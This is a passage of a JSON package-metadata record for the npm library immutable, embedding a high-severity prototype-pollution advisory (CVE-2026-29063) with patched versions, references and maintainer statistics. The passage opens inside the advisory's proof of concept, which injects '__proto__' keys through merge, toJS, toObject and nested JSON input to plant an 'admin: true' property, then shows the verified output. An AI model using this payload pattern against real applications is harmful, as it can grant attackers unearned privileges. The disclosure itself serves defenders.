\"alice\" }).set(\"__proto__\", { admin: true });\nconst r4 = m.toJS();\nconsole.log(\"toJS admin:\", r4.admin); // true\n\n// 5. Map.toObject() with __proto__ key\nconst m2 = Map({ user: \"alice\" }).set(\"__proto__\", { admin: true });\nconst r5 = m2.toObject();\nconsole.log(\"toObject admin:\", r5.admin); // true\n\n// 6. Nested path\nconst nested = JSON.parse('{\"profile\":{\"__proto__\":{\"admin\":true}}}');\nconst r6 = mergeDeep({ profile: { bio: \"Hello\" } }, nested);\nconsole.log(\"nested admin:\", r6.profile.admin); // true\n\n// 7. Confirm NOT global\nconsole.log(\"({}).admin:\", {}.admin); // undefined (global safe)\n```\n\n**Verified output against immutable@5.1.4:**\n\n```\nmergeDeep admin: true\nmergeDeepWith admin: true\nmerge admin: true\ntoJS admin: true\ntoObject admin: true\nnested admin: true\n({}).admin: undefined  ← global Object.prototype NOT polluted\n```\n\n\n## References\n_Are there any links users can visit to find out more?_\n\n- [JavaScript prototype pollution](https://developer.mozilla.org/en-US/docs/Web/Security/Attacks/Prototype_pollution)","origin":"UNSPECIFIED","severity":"HIGH","published_at":"2026-03-04T21:28:06.000Z","withdrawn_at":null,"classification":"GENERAL","cvss_score":8.7,"cvss_vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N","references":["https://github.com/immutable-js/immutable-js/security/advisories/GHSA-wf6x-7x77-mvgw","https://github.com/immutable-js/immutable-js/commit/16b3313fdf2c5f579f10799e22869f6909abf945","https://github.com/immutable-js/immutable-js/commit/6ed4eb626906df788b08019061b292b90bc718cb","https://github.com/immutable-js/immutable-js/releases/tag/v4.3.8","https://github.com/immutable-js/immutable-js/releases/tag/v5.1.5","https://github.com/immutable-js/immutable-js/issues/2178","https://github.com/immutable-js/immutable-js/commit/6e2cf1cfe6137e72dfa48fc2cfa8f4d399d113f9","https://github.com/immutable-js/immutable-js/releases/tag/v3.8.3","https://nvd.nist.gov/vuln/detail/CVE-2026-29063","https://github.com/advisories/GHSA-wf6x-7x77-mvgw"],"source_kind":"github","identifiers":["GHSA-wf6x-7x77-mvgw","CVE-2026-29063"],"repository_url":null,"blast_radius":0.0,"created_at":"2026-03-04T22:00:08.907Z","updated_at":"2026-06-06T07:01:50.087Z","epss_percentage":0.0008,"epss_percentile":0.23609,"api_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS13ZjZ4LTd4NzctbXZnd84ABTIp","html_url":"https://advisories.ecosyste.ms/advisories/GSA_kwCzR0hTQS13ZjZ4LTd4NzctbXZnd84ABTIp","packages":[{"ecosystem":"npm","package_name":"immutable","versions":[{"first_patched_version":"5.1.5","vulnerable_version_range":"\u003e= 5.0.0, \u003c 5.1.5"}],"purl":"pkg:npm/immutable"}],"related_packages_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS13ZjZ4LTd4NzctbXZnd84ABTIp/related_packages","related_advisories":[]}],"docker_usage_url":"https://docker.ecosyste.ms/usage/npm/immutable","docker_dependents_count":4703,"docker_downloads_count":4874667086,"usage_url":"https://repos.ecosyste.ms/usage/npm/immutable","dependent_repositories_url":"https://repos.ecosyste.ms/api/v1/usage/npm/immutable/dependencies","status":null,"funding_links":["https://github.com/sponsors/jdeniau"],"critical":true,"issue_metadata":{"last_synced_at":"2026-06-01T23:00:15.884Z","issues_count":115,"pull_requests_count":369,"avg_time_to_close_issue":59500160.68493151,"avg_time_to_close_pull_request":6104468.29245283,"issues_closed_count":73,"pull_requests_closed_count":318,"pull_request_authors_count":51,"issue_authors_count":86,"avg_comments_per_issue":3.773913043478261,"avg_comments_per_pull_request":1.146341463414634,"merged_pull_requests_count":266,"bot_issues_count":0,"bot_pull_requests_count":20,"past_year_issues_count":10,"past_year_pull_requests_count":63,"past_year_avg_time_to_close_issue":1242770.2,"past_year_avg_time_to_close_pull_request":1299277.6904761905,"past_year_issues_closed_count":5,"past_year_pull_requests_closed_count":42,"past_year_pull_request_authors_count":9,"past_year_issue_authors_count":10,"past_year_avg_comments_per_issue":3.0,"past_year_avg_comments_per_pull_request":0.4444444444444444,"past_year_bot_issues_count":0,"past_year_bot_pull_requests_count":18,"past_year_merged_pull_requests_count":36,"issues_url":"https://issues.ecosyste.ms/api/v1/hosts/GitHub/repositories/immutable-js%2Fimmutable-js/issues","maintainers":[{"login":"jdeniau","count":248,"url":"https://issues.ecosyste.ms/api/v1/hosts/GitHub/authors/jdeniau"},{"login":"leebyron","count":6,"url":"https://issues.ecosyste.ms/api/v1/hosts/GitHub/authors/leebyron"}],"active_maintainers":[{"login":"jdeniau","count":34,"url":"https://issues.ecosyste.ms/api/v1/hosts/GitHub/authors/jdeniau"}]},"versions_url":"https://packages.ecosyste.ms/api/v1/registries/npmjs.org/packages/immutable/versions","version_numbers_url":"https://packages.ecosyste.ms/api/v1/registries/npmjs.org/packages/immutable/version_numbers","latest_version_url":"https://packages.ecosyste.ms/api/v1/registries/npmjs.org/packages/immutable/latest_version","dependent_packages_url":"https://packages.ecosyste.ms/api/v1/registries/npmjs.org/packages/immutable/dependent_packages","related_packages_url":"https://packages.ecosyste.ms/api/v1/registries/npmjs.org/packages/immutable/related_packages","codemeta_url":"https://packages.ecosyste.ms/api/v1/registries/npmjs.org/packages/immutable/codemeta","maintainers":[{"uuid":"leebyron","login":"leebyron","name":null,"email":"lee@leebyron.com","url":null,"packages_count":57,"html_url":"https://www.npmjs.com/~leebyron","role":null,"created_at":"2022-11-10T11:17:55.486Z","updated_at":"2022-11-10T11:17:55.486Z","packages_url":"https://packages.ecosyste.ms/api/v1/registries/npmjs.org/maintainers/leebyron/packages"},{"uuid":"jdeniau","login":"jdeniau","name":null,"email":"julien.deniau@gmail.com","url":null,"packages_count":23,"html_url":"https://www.npmjs.com/~jdeniau","role":null,"created_at":"2025-09-07T05:14:56.741Z","updated_at":"2025-09-07T05:14:56.741Z","packages_url":"https://packages.ecosyste.ms/api/v1/registries/npmjs.org/maintainers/jdeniau/packages"}]}